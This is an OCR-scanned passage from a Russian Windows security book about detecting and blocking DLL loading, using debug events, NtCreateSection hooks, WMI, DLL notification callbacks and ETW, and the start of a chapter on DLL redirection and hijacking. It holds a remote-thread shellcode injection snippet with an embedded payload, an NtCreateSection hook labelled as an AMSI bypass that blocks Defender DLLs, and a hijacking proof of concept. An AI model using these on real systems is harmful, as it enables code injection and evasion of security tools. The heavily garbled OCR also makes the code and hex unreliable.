инжектиться через удаленные потоки. К моему удивлению,
в ответ на такой инжект защита не сработала.
#include <iostream>
#include <Windows.h>
int main(int argc, char *argv[])
unsigned char shellcode[] =
"\x48\x31\xc9\x48\x81\xe9\xc6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xЬb\xld\xЬe\xa2\x7b\x2b\x90\xel\xec\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xel\xf6\x21\x9f\xdЬ\x78"
"\х21\хес\хld\хЬе\хе3\х2а\хба\хс0\хЬЗ\хЬd\х4Ь\хfб\х93\ха9\х4е"
"\xd8\xбa\xЬe\x7d\xf6\x29\x29\x33\xd8\x6a\xЬe\x3d\xf6\x29\x09"
"\x7b\xd8\xee\x5b\x57\xf4\xef\x4a\xe2\xd8\xd0\x2c\xЫ\x82\xc3"
"\x07\x29\xЬc\xcl\xad\xdc\x77\xaf\x3a\x2a\x51\x03\x01\x4f\xff"
"\xf3\x33\xa0\xc2\xcl\x67\x5f\x82\xea\x7a\xfb\xlb\x61\x64\xld"
"\xЬe\xa2\x33\xae\x50\x95\x8b\x55\xЬf\x72\x2b\xa0\xd8\xf9\xa8"
"\х96\хfе\х82\х32\х2а\х40\х02\хЬа\х55\х41\хбЬ\х3а\ха0\ха4\х69"
"\xa4\xlc\x68\xef\x4a\xe2\xd8\xd0\x2c\xЬ1\xff\x63\xЬ2\x26\xdl"
"\xe0\x2d\x25\x5e\xd7\x8a\x67\x93\xad\xc8\x15\xfЬ\x9b\xaa\x5e"
"\x48\xЬ9\xa8\x96\xfe\x86\x32\x2a\x40\x87\xad\x96\xЬ2\xea\x3f"
"\xa0\xd0\xfd\xa5\xlc\xбe\xe3\xf0\x2f\x18\xa9\xed\xcd\xff\xfa"
"\х3а\х73\хсе\хЬ8\хЬ6\х5с\хеб\хе3\х22\хба\хса\ха9\хбf\хf1\х9е"
"\xe3\x29\xd4\x70\xЬ9\xad\x44\xe4\xea\xf0\x39\x79\xЬ6\x13\xe2"
"\x41\xff\x32\x95\xe7\x92\xde\x42\x8d\x90\x7b\x2b\xdl\xЬ7\xa5"
"\x94\x58\xea\xfa\xc7\x30\xe0\xec\xld\xf7\x2b\x9e\x62\x2c\xe3"
"\хес\хlс\х05\ха8\х7Ь\х2Ь\х95\ха0\хЬ8\х54\х37\х46\х37\ха2\х61"
"\xa0\x56\x51\xc9\x84\x7c\xd4\x45\xad\x65\xf7\xd6\xa3\x7a\x2b"
"\х90\хЬ8\хаd\ха7\х97\х22\х10\х2Ь\хбf\х34\хЬс\х4d\хfЗ\х93\хЬ2"
"\x66\xal\x21\xa4\xe2\x7e\xea\xf2\xe9\xd8\xle\x2c\x55\x37\x63"
"\x3a\x91\x7a\xee\x33\xfd\x41\x77\x33\xa2\x57\x8b\xfc\x5c\xe6"
"\xee\xf2\xc9\xd8\x68\x15\x5c\x04\x3b\xde\x5f\xfl\xle\x39\x55"
"\x3f\x66\x3b\x29\x90\xel\xa5\xa5\xdd\xcf\xlf\x2b\x90\xel\xec"
"\xld\xff\xf2\x3a\x7b\xd8\x68\x0e\x4a\xe9\xf5\x36\xla\x50\x8b"
"\xel\x44\xff\xf2\x99\xd7\xf6\x26\xa8\x39\xea\xa3\x7a\x63\xld"
"\xa5\xc8\x05\x78\xa2\xl3\x63\x19\x07\xЬa\x4d\xff\xf2\x3a\x7b"
"\xdl\xЬ1\xa5\xe2\x7e\xe3\x2b\x62\xбf\x29\xal\x94\x7f\xee\xf2"
"\xea\xdl\x5b\x95\xdl\x81\x24\x84\xfe\xd8\xd0\x3e\x55\x41\x68"
"\xf0\x25\xdl\x5b\xe4\x9a\xa3\xc2\x84\xfe\x2b\xll\x59\xЬf\xe8"
"\xe3\xcl\x8d\x05\x5c\x71\xe2\xбb\xea\xf8\xef\xЬ8\xdd\xea\x61"
"\xЬ4\x22\x80\xcb\xe5\xe4\x57\x5a\xad\xd0\x14\x41\x90\xЬ8\xad"
"\x94\x64\x5d\xae\x2b\x90\xel\xec";
processHandle;
remoteThread;
PVOID remoteBuffer;
НANDLE
НANDLE
Глава
18.
Изучаем методы предотвращения подгрузки
359
DLL
printf :"InJect:ing to PIC:: :i", atoi(argv[l] 11;
prccessHandle = OpeпProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[l] 111;
remoteBuffer ~ VirtualAllocEx(processHandle, NULL, sizeof shellcode, (MEM_RESERVE
MEM_COMMITI, PAGE_EXECUTE_READWRITEI;
WriceProcessMeпюry(processHaпcile, remoteBuffer, shellcode, sizeof shellcode, NULLI;
remoteTr,read = CreateRemoteThread (processHandle, NULL, О,
(LPTHREAD_START_RCUTINElremoteBuffer, NULL, О, NULL);
CloseHancile (prccessHandle 1;
Запуск процесса с
DEBUG
Метод основан на запуске процесса с флагом DEBUG_ONLY_ тнrs _PROCESS. Это приводит
к тому, что родительский процесс может действовать в качестве отладчика для но
вого процесса. Так наша программа может установить собственные колбэки, кото
рые будут вызваны при появлении определенных событий. Таким образом мы
можем контролировать все, что происходит с процессом. Для предотвращения под
грузки DLL нужно установить флаг LOAD_DLL_DEBUG_EVENT, который сработает после
загрузки DLL-биб.тиотеки в процесс, но до того, как из нее будет вызвана функция
DllMain ! ) .
Фактически наш родительский процесс просто будет проверять загружаемую в до
черний процесс DLL. Если это была нелеrитимная DLL, то функция просто про
патчит ее Entrypoint, и инициализировать DLL будет невозможно (рис. 18.7).
i• (ShouldBlockDLL(dllPath))
Tuple(long, long > addre ssRange .. '"'-"'• Tuple <long, long ' ( ( long) imageBa se , (l ong)imageBase " si::eOfimage);
blockAddressRanges .Acld(addressRange);
Console . \✓ riteLi ne($" [ •] Blocked Dll {dllPath}");
byte[] retlns • . "•• byte [ 1 J {
0хСЗ
};
uint b),'t_es\-Jri tten;
Console ._ Wгi tetine(" ( +] Patching Dll Entry Point at
0х{0: х} ",
entгyPoint.
Toint64());
if (WriteProcessMemory(hProcess, entryPoint" retins, 1" out bytesWritten))
Con~ote. \-Jri t~Line(" ( +] Successfully patched DLL Entry Point");
else {
Console .Hriteline("( l] Failed patched Dll Entry Point with
erгor 0х{0:х}",
гeturn dllPcЭth .'тOstring(); .
Рис.
На
GitHllb
18.7.
Как делает
SharpBlock
есть два проекта, реализующих этот метод:
□ Debщ~Amsi (https://github.com/МzHmO/DebugAmsi);
□
Shai·pB lock ( https://github.com/CCoЬ/SharpВlock).
Иarsh al .GetLast1'1in32Er ror ());
Часть
360
111.
Предлагаю написать минимальный РоС
Способы обхода средств защиты информации
-
будем запускать калькулятор и отсле
живать его библиотеки.
#include <Windows.h>
#include <iostream>
#include <string>
DWORD WINAPI DebugLoop(LPVOID lpParam)
{
hProcess = static_cast<НANDLE>(lpParam);
DEBUG_EVENT debugEvent;
DWORD continueStatus = DBG CONTINUE;
НANDLE
while (WaitForDebugEvent(&debugEvent, INFINITE))
{
switch (debugEvent.dwDebugEventCode)
case LOAD- DLL- DEBUG- EVENT:
char szName[МAX_PATH];
if (GetFinalPathNameByHandleA(debugEvent.u.LoadDll.hFile, szName,
МАХ_РАТН,
VOLUМE NАМЕ
std: :cout << "DLL Loaded: " « szName << std: :endl;
std: : cout « "Base Address: " « debugEvent. u. LoadDll. lpBaseOfDll « std: : endl;
CloseHandle(debugEvent.u.LoadDll.hFile);
break;
ContinueDebugEvent(debugEvent.dwProcessid, debugEvent.dwThreadid, continueStatus);
return
О;
int main()
LPCWSTR exePath = L"c:\\windows\\system32\\calc.exe";
STARTUPINFO si;
PROCESS_INFORМATION pi;
ZeroMemory(&si, sizeof(si) 1;
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi) );
00S) )
Глава
18. Изучаем методы предотвращения подгрузки DLL
361
if ( 1 CreateProcess(exePath, NULL, NULL, NULL, FALSE, DEBUG_ONLY_THIS_PROCESS, NULL, NULL,
&si, &pi))
std:: cerr «
return 1;
"UnaЬle
to create process 1 ";
DebugLoop((LPVOID)pi.hProcess);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return
О;
Код проще некуда: сначала идет стандартное создание процесса, затем в бесконеч
ном цикле ловим DеЬug-события с помощью функции WaitForDebugEvent () (https://learn.
microsoft.com/en-us/windows/win32/api/debugapi/nf-de bugapi-waitfordebugevent),
а потом обрабатываем событие LOAD_DLL_DEBUG_EVENT (рис. 18.8).
Как вы понимаете, с базовым адресом библиотеки можно обратно перехватить кон
троль у атакующего, пропатчить
Entrypoint,
снять хук и т. д.
Кстати, мы можем прицепиться и к уже работающему процессу с помощью функции
DebugAct i veProcess ( ) ( https://lea rn.m icrosoft.com/en-us/windows/win32/api/debuga pi/
nf-debugapi-debugactiveprocess). Подробно эту функцию я буду разбирать в главе 21.
Гё:v A:\SSD\ ProJectsVS\ DIIC р р\х 64\ Debugl ProtectedProcess.e, е
DLL Loaded: \\?IC:\Windows\System321ntdll.dll
Base Address: 00007FF9CDE30000
DLL Loaded: \\'\C : \i•lindo:-1s\Systen1321kernel32.dll
Base Address: 00007FF9CD730000
DLL Loaded : \\?\С: \1•Jin,io,-1s \ S\' s tem32 \ KernelBase. dl l
Base Address: 00007FFC(87C0000
DLL Loaded : ll'IC:\Windows1System32\shell32 . dll
Base дddress: 00007FF9CCE40000
DLL Loaded: l\>\(:IWindows1System32 1 msvcp_win.dll
Base Address : 00007FF9CBAE0000
DLL Loaded: ll'\C:1windows1System32\ucrtbase.dll
Base Address: 00007FF9CBD30000
DLL Loaded: l\'IC:\Windows\System32 1 user32 . dll
Bas e Addr e ss: 00007FF9CD590000
DLL Loaded: \\?\C:\Windows\System32\win32u . dll
Base Address: 00007FF9C8E30000
DLL Loaded: \\?\C:\Windows\System321gdi32.dll
Base Address: 00007FF9CC730000
DLL Loaded : ll'IC:\Windows 1 System32\gdi32full.dll
Base Address: 00007FF9CB510000
DLL Loaded : \\'IC : \l•lindo,.,s\Systen132\ms•.,crt.dll
Base Address: 00007FF9CD310000
DLL Loaded: 1\'1C : \Windows\System32\advapi32.dll
Ba se Address: 00007FF9CC110000
DLL Loaded: l\?\C:\windows\System32\sechost.dll
Base Address: 00007FF9CC690000
DLL Loaded: \\?\C:\I.Jindo,,,s\System32\rpcrt4.dll
Ba se Address: 00007FF9CDC60000
DLL Lo aded: \\>\c:\Windows\System32\imm32 . dll
Ba se Addre s s: 00007FF9CD980000
Рис.
18.8.
Получение информации
□
х
362
Часть///. Способы обхода средств защиты информации
Хук на
NtCreateSection
Простой вариант
Этот способ обхода основан на перехвате функции NtCreateso,·t,, r:,,. которая вызы
вается при попытке загрузить
Если
мы
можем
DLL
поставить
в адресное пространство 11ро11есса.
хук
на
NtCreateSect1oг. i 1
(либо
:-;тJр, 0 11,:
1, ,
.
либо
NtMapViewOfSection (1), то у нас получится перехватить попытку ~1аmн1111 а t', 11амять
процесса кода DLL, а затем вернуть NTSTAТUS FAILEC это бу,Jет означать. что ,1ап
пинг невозможен. Как следствие, библиотека не будет загружена. Либо ~южсм вер
нуть фейковый хендл на загруженную библиотеку. что также сделает ее выполне
ние невозможным.
Проблема этого метода лишь в том, что он сработает только для
DIJ".
которые бу
дут подгружаться в процесс после установки хука. Если они подгружаюл.:я раньше.
то ничего не сработает. Тем не менее есть более хитрый вариант.
Обычно этот метод используется антивирусами. чтобы отслеживать. что ,1аппится
в память. Причем мы можем поставить этот хук как в своем процессе. так и в чу
жом, если сможем запросить на него маску доступа
PROCESS _vм _l'iPITE.
Хук мы можем поставить на NtOpenFile ( 1, NtCreat.eSection i I или NtHap\'1 ,,wCJf'\,ct i л,, 1.
Когда увидим, что зловредная библиотека пытается загрузиться. предотвратим это,
вернув неверный дескриптор
DLL.
Для этой техники есть полноценный РоС на
GitHub: https://github.com/waawaa/
AMSI_ Rubeus_ bypass.
В примере будем использовать хук на NtCreateSection ( 1. Основная логика
-
в этих
строчках кода:
std: :string data_hash2[]
~
//SНА25Е of the IJNC
dll and other Windows Defender injected D11s
"fbdl3447dcd3ab91ЬЬ0d2324elleca986967c99dcd324b00f9577010c6080413",
Path of the
AМSI
"856efelb2c5b5716b4d373ЬЬ7205e742da90d5125637lc582ce82b353d900186",
"d8d52609d0c8ld70bf44cb3cd5732alc232cc20c25342d0all8192e652al2d98",
"a75589e0dlb5b8f0ad28f508ed28dflb4406374ac48912lc895170475fe3ef74"
); //array with the file hashes
NTSTATUS ntCreateMySection(OUT PНANDLE SectionHandle, IN ULONG DesiredAccess,
IN POBJECT_AТTRIBUTES ObjectAttributes OPTIONAL, IN PLARGE_INTEGER MaximumSize OPТICNAL,
IN ULONG PageAttributess, IN ULONG SectionAttributes, IN НANDLE FileHandle OPTIONAL) /*Bypass
AМSI*/
int isFinal = О;
char lpFilename[256];
if (FileHandle != NULL)
Глава
18.
Изучаем методы предотвращения подгрузки
363
DLL
DWORD res = GetFinalPathNameByHandleA(FileHandle, lpFilename, 256, FILE_NAМE_OPENED 1
VOLUМE_NAМE_OOS); //Get the file path of the file handle
if (res == О)
printf ("GetFinalPathNameByHandleA error: %d\n", GetLastError ());
else
std: :string hash = sha256(std::string(lpFilename)); //Compute the SНА256 hash of the
file path (only the hash of the name, not the file)
unsigned int arrSize = sizeof(data_hash2) / sizeof(data_hash[0]); //Get the size of the
array
for (int counter = О; counter < arrSize; counter++) //Loop each position of the array
if (hash.compare(data_hash2[counter]) ==
О)
//If hash of the DLL to load is equal to
any of the array hashes return О
return -1;
restore_hook_ntcreatesection(SectionHandle, DesiredAccess, ObjectAttributes, MaximumSize,
PageAttributess, SectionAttributes, FileHandle); //If it's not an AМSI DLL restore the
original NtCreateSection
return 1;
В начале кода
-
массив, содержащий список хешей от имен
DLL,
загрузку кото
рых мы хотим обрабатывать. Полный путь до подгружаемой библиотеки получен
С ПОМОЩЬЮ
GetFinalPathNameByHandleA ().
Если хеш содержится в нашем списке, то возвращаем ошибку
( -1
в NTSTAтus равно
значно ошибке), если нет, то дергаем реальный NtCreateSection () и позволяем про
цессу нормально обрабатывать загрузку.
Если
хеша
в
массиве
нет,
перенаправляем
поток
управления
к
реальному
NtCreateSection (1 и позволим процессу маппить библиотеку.
Модифицированный вариант
Предыдущую технику можно усовершенствовать.
Процесс, созданный с флагом CREATE_SUSPENDED или DEBUG_PROCESS, будет иметь в адрес
ntdll.dll. Такова особенность Windows.
Помните главный минус хука NtCreateSection () в рассмотренном выше простом вари
ном пространстве только одну
DLL -
анте? Если хук очень долго ставится, то библиотеки успеют подгрузиться!
Именно поэтому мы должны запускать процесс в приостановленном виде, ставить
хук на NtCreatesection () и лишь затем возобновлять процесс. Тогда мы сможем кон-
Часть
364
111.
Способы обхода средств защиты информации
тролировать абсолютно все загружаемые в процесс библиотеки. Даже муха не про
скочит!
На этом основан РоС
Ruy-Lopez (https://github.com/S3cur3ThlsSh 1t/Ruy-Lopez).
WMI
У
WMI есть отличный класс Win32 _ModuleLoadTrace (https://learn.microsoft.com/en-us/
previous-versions/windows/desktop/krnlprov/win32-moduleloadtrace), в котором
куча информации! Можно подписаться на него, а затем узнавать буквально обо
всех случаях подгрузки библиотек в
Windows.
Информацию сможем извлечь сле
дующую:
[AМENDMENT]
class Win32 ModuleLoadTrace : Win32 ModuleTrace
uint8
uint64
string
uint64
uint64
uint32
uint64
uint32
uint32
SECURITY DESCRIPTOR[];
TIME CREATED;
FileName;
DefaultBase;
ImageBase;
ImageChecksum;
ImageSize;
ProcessID;
TimeDateSTamp;
);
Единственный минус
WMI. Поэтому перейдем на
(https://learn.microsoft.com/ru-ru/dotnet/
api/system.management.managementeventwatcher?view=dotnet-plat-ext-8.0), кото
-
на «плюсах» тяжко работать с
С#. У С# есть класс ManagementEventWatcher
рый позволяет подписаться на определенные события. Подписка заключается в ре
гистрации колбэка, который будет вызываться каждый раз при появлении события.
using System;
using System.Diagnostics;
using System.Management;
puЫic
class Program
puЫic
static void Main()
ManagementEventWatcher watcher = new ManagementEventWatcher(
new WqlEventQuery("SELECT * FROM Win32_ModuleLoadTrace"));
watcher.EventArrived += new
EventArrivedEventHandler(ModuleLoadНandler);
watcher.Start();
Console.WriteLine("Monitoring DLL loading. Press any key to exit.");
Console.ReadKey();
Глава
18.
Изучаем методы предотвращения подгеrзки
365
DLL
watcher.Stop();
watcher.Dispose();
static string GetProcessNameByPid(string pidString)
puЫic
string processName = "Unknown";
if (int.TryParse(pidString, out int pid))
try
(
Process process = Process.GetProcessByid(pid);
processName = process.ProcessName;
catch
(ArgшnentException ех)
Console.WriteLine($"No process with PID {pidl is currently running: {ex.Messagel"I;
catch (Exception exl
Console.WriteLine($"Error retrieving process name: {ex.Messagel");
else
Console.WriteLine($"Invalid PID format: {pidStringl");
return processName;
private static void
ModuleLoadНandler(object
sender, EventArrivedEventArgs
е)
ManagementBaseObject evt = e.NewEvent;
Console.WriteLine("NEW DLL Loaded");
Console.WriteLine("\tFileName: "+ evt["FileName"]);
Console.WriteLine("\tBaseAddress: Ох"+ ((Uint64)evt["ImageBase"]) .ToString("X"));
Console.WriteLine("\tSize: " + evt["ImageSize"]);
Console.WriteLine("\tPID: "+ evt["ProcessID"]);
Console.WriteLine("\tProcessName: "+ GetProcessNameByPid(evt["ProcessID"] .ToString()));
В качестве колбэка указываем функцию ModuleLoadНandler (), где обрабатываем и из
влекаем инфу из класса Win32 _ModuleLoadTrace (рис. 18.9).
Есть и более серьезные РоС, например
ModuleMonitor
(https://github.comfГheWover/МoduleMonitor).
366
Часть
111.
Способы обхода средств защиты информации
о
:r:
)Е
о
~
м
о
"'
QJ
:r:
о:
,..su.,,
а.
:ff:r:
1Х)
ai
...cxi,.;
s
о..
Глава
18. Изучаем методы предотвращения подгрузки DLL
367
DLL Notification Callbacks
Сам механизм
DLL Notification
служит для защиты от
DLL Proxying.
Этот меха
низм позволяет зарегистрировать колбэк, который вызывается при подгрузке
DLL
или выгрузке ее из процесса.
Для
этого
используется
специальная
функция
1dr011Notification (https://learn.
microsoft.com/en-us/windows/win32/devnotes/ldrdllnotification):
V0I0 СА11ВАСК 1dr011Notification(
NotificationReason,
U10NG
In
PC10R_011_NOTIFICATI0N_0ATA Notification0ata,
In
Context
_In_opt_ PV0ID
);
С помощью этой функции можно зарегистрировать колбэк, который будет вы
зван при загрузке в процесс или выгрузке DLL. Сам колбэк определен в
1drRegister0llNotification (https://learn.microsoft.com/en-us/windows/win32/devnotes/
ldrregisterdllnotification). Причем колбэков можно
количество - все они будут вызваны по очереди.
Кстати, этот механизм использует
Единственный минус
являть вручную (рис.
- здесь
18.1 О).
регистрировать неограниченное
Discord!
используется куча структур, которые придется объ
#include <Windows.h>
#include <stdio.h>
typedef struct _UNIC00E_STR
(
USHORT 1ength;
USHORT MaximumLength;
PWSTR pBuffer;
UNIC0DE_STR, * PUNICO0E_STR;
typedef struct _10R_011_10A0E0_NOTIFICATION_0ATA {
// Reserved.
Flags;
U10NG
// The full path name of the 011 module.
Full0llName;
STR
PUNIC00E
// The base file name of the 011 module.
PUNIC00E STR Base0llName;
// А pointer to the base address for the 011 in memory.
0llBase;
PVOI0
// The size of the 011 image, in bytes.
SizeOfimage;
U10NG
10R_011_10A0E0_N0TIFICATION_0ATA, * P10R_011_10A0E0_N0TIFICATION_0ATA;
typedef struct _10R_011_UN10A0E0_N0TIFICATI0N_0ATA {
// Reserved.
Flags;
U10NG
// The full path name of the 011 module.
PUNIC00E_STR Full0llName;
// The base file name of the 011 module.
PUNIC00E STR Base0llName;
// А pointer to the base address for the D11 in memory.
DllBase;
PV0ID
368
Часть
111.
Способы обхода средств защиты информации
о
:r
ЭЕ
о
..,:::;
о
а1
ф
:r
"'u
...s
.а
а.
c:t
ф
:r
11)
о
~
со
~
..,;
:s:
о.
Глава
18.
Изучаем методы предотвращения подгрузки
DLL
369
// The size of the DLL image, in bytes.
SizeOfimage;
ULONG
LDR_DLL_UNLOADED_NOTIFICATION_DATA, * PLDR_DLL_UNLOADED_NOTIFICATION_DATA;
typedef union _LDR_DLL_NOTIFICATION_DATA {
LDR- DLL- LOADED- NOTIFICATION - DATA Loaded;
LDR- DLL- UNLOADED- NOTIFICATION- DATA Unloaded;
LDR_DLL_NOTIFICATION_DATA, * PLDR_DLL_NOTIFICATION DATA;
typedef VOID(CALLBACK* PLDR_DLL_NOTIFICATION_FUNCTION) (
NotificationReason,
ULONG
PLDR_DLL_NOTIFICATION_DATA NotificationData,
Context);
PVOID
typedef struct LDR- DLL - NOTIFICATION - ENTRY
LIST ENTRY
List;
PLDR- DLL- NOTIFICATION - FUNCTION Callback;
Context;
PVOID
LDR_DLL_NOTIFICATION_ENTRY, * PLDR_DLL_NOTIFICATION ENTRY;
typedef NTSTATUS (NTAPI* _LdrRegisterDllNotification) (
Flags,
ULONG
PLDR_DLL_NOTIFICATION_FUNCTION NotificationFunction,
Context,
PVOID
PVOID* Cookie);
typedef NTSTATUS(NTAPI*
LdrlJnregisterDllNotification) (PVOID Cookie);
VOID MyCallback(lJLONG NotificationReason, const PLDR_DLL_NOTIFICATION_DATA NotificationData,
PVOID Context)
printf("[MyCallback] dll loaded: %2\n", NotificationData->Loaded.BaseDllName);
int main ()
НМODULE
hNtdll
if (hNtdll
1
=
GetModuleHandleA ("NTDLL. dll" 1;
= NULL) {
LdrRegisterDllNotification pLdrRegisterDllNotification =
(_ LdrRegisterDllNotif ication) GetProcAddress (hNtdll, "LdrRegisterDllNotification");
PVOID cookie;
NTSTATUS status = pLdrRegisterDllNotification(0,
(PLDR DLL NOTIFICATION FlJNCTION)MyCallback, NULL, &cookie);
if (status == О) {
printf("[+] Successfully registered callback\n");
Часть
370
///.
Способы обхода средств защиты информации
printf("[+] Press enter to continue\n");
getchar();
printf("[+] Loadшg USER32 DLL now\n");
LoadLibraryA ("USER32. dll");
ETW (Kernel Provider)
Этот подход, я думаю, можно считать наиболее эффективным. Проблема лишь
в том, что потребуется запуск нашего кода от лица локального администратора
либо любого другого привилегированного пользователя.
Если углубляться в то, как программировать под
ETW,
то придется писать целый
цикл статей, но не рассказать об этом способе я посчитал преступлением, поэтому
рассмотрим все на некотором уровне абстракций.
Один из фундаментов
ETW - провайдеры.
- Kernel Provider.
особый тип провайдеров
его
Провайдеры генерируют события. Есть
Его имя
-
Windows Kemel Trace,
а вот
GUID:
9E814MD-3204-11D2-9A82-006008A86939
К нему тоже можно получить доступ с помощью переменной SystemTraceControlGuid,
определенной в evntrace. h. Этот провайдер позволит нам отслеживать события, ха
рактерные для ядра
Windows.
Например, запуск процессов, подгрузку библиотеки
и прочее.
Изучить доступные события, которые генерирует провайдер, можно с помощью вот
такой команды (рис.
18.11 ):
logman query providers "Windows Kernel Trace"
Описания отдельных событий ядра вы найдете в документации:
https://docs.microsoft.com/en-us/windows/win32/etw/ms nt-systemtrace.
До
Windows 8
с провайдером ядра можно было установить только один сеанс,
который должен был называться NТ
Kernel Logger.
К счастью, сейчас такие огра
ничения сняты, сессий может быть бесконечно много, а имя сессии может быть
любым.
Ядро может одновременно сообщать сразу о разных типах событий. Например,
о создании процесса и о подгрузке библиотеки.
Пример кода для 1юдписи на
Kernel Provider можно взять на GitHub (https://
gith u b.com/zod iaco 11 '\Vi n 1OSysProgBookSam ples/ЫoЬ/master/Chapter20/КernelET
W /КernelETW .срр
i, от код отлично подходит для иллюстрации возможностей
ETW.
Глава
18.
Изучаем методы предотвращения подгрузки
Рис.
18.11.
Что предоставляет
371
DLL
Kernel Provider
х
Страницы свойств САрр
Конфиrурация: ~•ная (Debug) _ _ _ _ _"...,] Платформа: ~•ная (хб4) _
"
_.._ _ _~ "..,1
!jfспетч; конфиrураций"J
Свойства конфиrурации
Общие
Jlоt(.мьн.ый OTJIOД\/ltKWindows
Доnолнитиtьно
~
-
Отладка
Каталоги
-~
VC++-
S(ТargetPath)
-rlmage
S(ProjIODir)
С/С++
Ра6оч'4Й QтaJIOГ
~
Компоновщик
~
Инструмент манифеста
Прмсоедин'4ТЬОI
Нет
~
Генератор ХМ L-докумек,
Тип от11адчика
Аето
~
Информация 06 исходно
Окружение
~
События сборки
Обыдмнение Оtеру)l(ения
~
Настраиа.аемый этап сбо
OтлilJll(il
Code Analysis
Да
SQl
Ускоритель no умолчанию AJIA АМР
Нет
Ускорите11ь ПО
WARP
Apryмetm,I~
Арrум~ы AJ\A rомаНАно;\ CТl)()l()I, rоторые 6УАУТ ~реданы nрИJ1ожемию.
<
J
>
ок
Рис .
18.12.
Настройка
Visual Studio
Отмена -,
Прим tll<Ть
372
Часть
///.
Способы обхода средств защиты информации
,.
Q)
f0
s
с;
1О
s
1О
.,,.<11
>~
q
о
,::
s
~
ш
...
...cci.;
м
:s:
n.
Глава
18.
Изучаем методы предотвращения подгрузки
373
DLL
Для извлечения информации о подгружаемых библиотеках настройте проект так,
как показано на рис.
18.12.
И сможете извлекать информацию о библиотеках (рис.
18.13).
Заключение
Обнаружить,
предотвратить,
обезвредить...
Разработчикам теперь
недостаточно
просто писать код. Нужно уметь еще и защитить его. К счастью, методов очень
много, но стоит помнить, что на любую защиту найдется атака. Таков мир инфор
мационной безопасности!
ГЛАВА
19
Ищем в Windows лазейки
для исполнения стороннего кода
Внутри
Windows
кроется огромное количество интересных и неочевидных возмож
ностей. В этой главе я покажу, как заставить операционку загрузить нашу библио
теку в любой процесс!
Одна из самых популярных атак, направленных на повышение привилегий,
DLL Hijacking.
-
это
Чтобы ее провести, атакующий помещает свою вредоносную биб
лиотеку на пути поиска легитимной
DLL.
Это приводит к тому, что целевое прило
жение подгружает стороннюю либу и выполняет вредоносный код.
На первый взг:1яд такая атака кажется очень простой. Я бы даже сказал
-
прими
тивной. Тем не менее существует несколько подводных камней, которые часто
упускают из вида атакующие.
Во-первых, многие забывают сделать
DLL Proxying
до целевой библиотеки, что
приводит к поломке всего· приложения. Оно крашится, т. к. пытается вызвать функ
цию из библиотеки, в которой нужного кода нет.
Во-вторых, иногда вызов функций вроде LoadLibrary (), CreateProcess () и CreateThread ()
помещают в функцию DllMain (), что приводит к дедлоку
ма
(Dead Lock) из-за механиз
Loader Lock. Loader Lock выступает в качестве критической секции (примитив
синхронизации
потоков
процесса).
блокируется до момента снятия
Фактически
выполнение потока программы
Loader Lock.
ПРИМЕЧАНИЕ
Подробнее о
Loader Lock -
в блоге
Elliot
elliotonsecurity.com/perfect-dll-hijacking/),
security .com/what-is-loader-lock/).
оп
Security: Perfect DLL Hijacking (https:/1
What is Loader Lock (https:/lellioton
В-третьих, существуют некоторые факторы, влияющие на порядок поиска
Стандартные пути поиска изображены на рис.
Это
так
называемый
SafeDllSearchМode.
Если
DLL.
19.1.
он
отключен, то
после Application
Directory функция LoadLibrary* () смотрит Current Directory. Отключить SafeDllSearchМode
можно, выставив в ноль значение по этому пути:
HКEY_LOCAL_МACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchМode
Глава
19.
Ищем в
Windows
лазейки для исполнения стороннего кода
375
,s;
:а
:,:
.D
~"'
>:s:
s;
g- g
о
i
с
Папка приложений
V
Папка
System32 (C:\Windows\System32\)
V
Системная папка
(C:\Windows\System\)
V
Папка
Windows (C:\Windows\)
V
Текущая рабочая папка
(CWD)
'V'
Папки , перечисленные в %РАТН%
Рис.
19.1.
Где
Еще один фактор, влияющий на поиск,
Windows ищет
-
DLL
это функция LoadLibraryEx 1), вызванная со
значением LOAD_wrтн_ALTERED_SEARCH_PATH. В таком случае первым делом
DLL
ищутся
по пути, указанному внутри этой функции.
Помимо прочего, существуют встроенные механизмы
Windows,
которые позволяют
внедрить нашу библиотеку в целевой процесс. В документации
Microsoft (https://
learn.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order#
factors-that-affect-searching) есть упоминание некоторых из них. Давай изучим их
подробнее.
DLL Redirection
Для обычных исполняемых файлов
DLI, Redirection вать разные версии
специальный механизм, позволяющий программам использо
DLL
для своих задач, причем не затрагивая обычные системные
библиотеки. Действие распространяется только на функции LoadLibrary* 1 ! .
Фактически,
независимо
от
того,
указан
ли
в
ней
полный
путь
(с: \Windows\
System32\dll.dll) или короткий (dll.dll), функция проверит, присутствует ли в теку
щей директории (в которой находится приложение, вызвавшее эту функцию) файл
с расширением
. local.
И если присутствует, то функция LoadL1brary* 1) в любом слу
чае загрузит в первую очередь
DLL
из текущей директории приложения.
Часть
376
Имя файла
. local
111.
Способы обхода средств защиты информации
должно быть таким же, как и название процесса, из которого вы
звана функция LoadLibrary (). Например, если приложение
-
Edi tor. ехе, то имя файла
должно быть Editor.exe.local.
Представим, что этот самый
C:\myapp\Editor.exe попытается через LoadLibrary*() загру
зить какую-нибудь либу. Например, такую:
C:\Program Files\Common Files\System\mydll.dll
Тогда LoadLibrary* () проверит существование файла Edi tor. ехе. local в директории, где
лежит Editor.exe. Если файл .local найдется, то функция попытается сначала загру
зить
mydll.dll
из текущей директории.
То есть сначала проверяется этот путь:
C:\myapp\mydll.dll
И если такого файла нет, то загрузится по указанному полному пути:
C:\Program Files\Common Files\System\mydll.dll
Самое интересное: мы можем создать не только файл Editor.exe.local, но и папку
с таким названием, потому что содержимое файла
случае
DLL
. local
не проверяется. В таком
будет подгружена по следующему пути:
C:\myapp\myapp.exe.local\mydll.dll
Итак, приступим к написанию РоС. Во-первых, нам нужно целевое приложение,
которое будет подгружать библиотеку с указанием полного пути.
Назовем это приложение
Article.exe.
#include <Windows.h>
#include <iostream>
int main() (
LoadLibraryW(L"C:\\Users\\Michael\\Desktop\\Redir.dll");
char а;
std::cin » а;
return О;
В
качестве легитимной библиотеки
скомпилируем
следующий
Redir.dll.
#include "pch.h"
В001
APIENTRY DllMain(
НМODULE hМodule,
DWORD ul_reason for_call,
LPVOID lpReserved
switch (ul reason for call)
case DLL- PROCESS АТТАСН:
MessageBox (NULL, L"НI FROM
-
LEGIТ",
L"HI FROM LEGIT",
МВ ОК);
